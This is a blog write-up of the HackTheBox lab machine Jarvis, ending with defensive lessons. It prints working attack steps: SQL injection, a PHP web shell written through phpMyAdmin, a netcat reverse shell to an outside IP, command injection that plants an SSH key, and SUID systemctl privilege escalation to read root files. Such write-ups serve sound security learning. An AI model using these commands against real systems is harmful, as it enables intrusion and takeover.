Skip to main content

notes and writeups

Jarvis

This is a write-up of a HackTheBox machine named Jarvis.

Jarvis

Enumeration

One of the ports exposed on the server was HTTP port that served some hotel website. After a quick glance at the URLs I noticed, that subpage http://supersecurehotel.htb/room.php?cod=2 is vulnerable to SQL injection - Passing cod parameter as 2*2 returned site for room no 4. The sqlmap tool automates looking for the right payload and with default options for wizard mode, it returned all of the database content along with hashed, but simple, password for db user. It was just enough to web search for the hash of the password, which turned out to be “imissyou”. This site was built on PHP had phpMyAdmin installed at /phpmyadmin. Credentials acquired previously with SQLi matched, and granted access to the web panel.

phpMyAdmin and RCE

Trying to find a way to execute commands on host, I did a couple of checks on where does the Linux user running php have write access to. I did it using SQL’s SELECT "something" INTO OUTFILE "/some/path". Combining it with PHP’s ability to execute commands using system() command, I ended up with:

SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/blablabla.php"

Jarvis SQL

This allowed me to access for example http://supersecurehotel.htb/blablabla.php?cmd=whoami that returned plain string “www-data”.

Reverse shell and user flag

So let’s set up reverse shell, first running up nc -lvp 9756 on my host, and then:

http://supersecurehotel.htb/blablabla.php?cmd=nc 10.10.xx.xx 9756 -e /bin/sh

After connecting, let’s upgrade the shell:

python -c 'import pty; pty.spawn("/bin/bash")'

Permissions for “www-data” user were set pretty much ok, that means I could access no flags or “.ssh” directories etc. But the command sudo -l returned:

www-data@jarvis:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin                                           

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

this means, that we can run Python script “simpler.py” as user “pepper” without his password. This is the user, whose flag we are looking for. This scripts parses some data about potential attackers of the website and also allow to ping attackers IP. The ping-part of code looks interesting:

def exec_ping():                                                                                                             
    forbidden = ['&', ';', '-', '`', '||', '|']                                                                              
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

Looks like authors tried to blacklist allowed characters, so you couldn’t pass something nasty into os.system() command, like 9.9.9.9; cat /etc/passwd. They missed the $ sign though, so let’s exploit it. First I created a script that writes my ssh public key to “authorized_hosts” file and echoes “9.9.9.9” (which is valid param for ping, but this doesn’t matter that much). This is done with:

echo '
mkdir -p /home/pepper/.ssh;
echo "ssh-rsa some-ssh-pubkey root@kali" >> /home/pepper/.ssh/authorized_keys;
echo "-w 1 9.9.9.9";
' > /tmp/somescript

Then, executing sudo -u pepper /var/www/Admin-Utilities/simpler.py -p I was able to use ping command with this parameter:

$(bash /tmp/somescript)

which in turn, after appending my pubkey, allowed me to get in through ssh:

ssh pepper@supersecurehotel.htb

and get the user flag easily.

Root flag

Searching for weak points, I ran command find / -perm /4000 that lists every file with SUID set. A binary with SUID set allows to execute it as the user who is the owner of the binary, not as current user. One of the files listed was /bin/systemctl which is an executable to manage Systemd services. As there was no write permissions to /etc/systemd/system, I created a file in user’s systemd directory as below:

echo '
[Unit]
Description=hi there

[Service]
Type=simple
ExecStart=/bin/bash /tmp/getflag.sh

[Install]
WantedBy=default.target
' > /home/pepper/.config/systemd/user/some.service

Then I created /tmp/getflag.sh file with the following:

/bin/cat /root/root.txt > /tmp/hellomybeautifulflag.txt;

and set permissions of the file to allow execution:

chmod a+x /tmp/getflag.sh

Finally, let’s enable the service:

systemctl enable /home/pepper/.config/systemd/user/some.service

As the service will be executed with root’s permissions, this script will have access to /root directory and therefore to the flag. Let’s start the service:

systemctl start some.service

and see the root’s flag in our /tmp/hellomybeautifulflag.txt file.

Summary - what went wrong

This machine represented untrusted user input problem twice. First it was possible to inject code on PHP side (cod parameter in URL resulting in SQL injection), then again in Python “simpler.py” script. Any RCE would be impossible (or at least not that easy) without those two vulnerabilities. Finally we had situation where regular user could create and run systemd services as root - user could essentially become root there. Lessons learned:

  • never trust user input
  • perform parametrized SQL queries instead of string formatting/substitution
  • prefer whitelist over blacklist
  • never allow using Systemd (or any other service manager) as root without having root permissions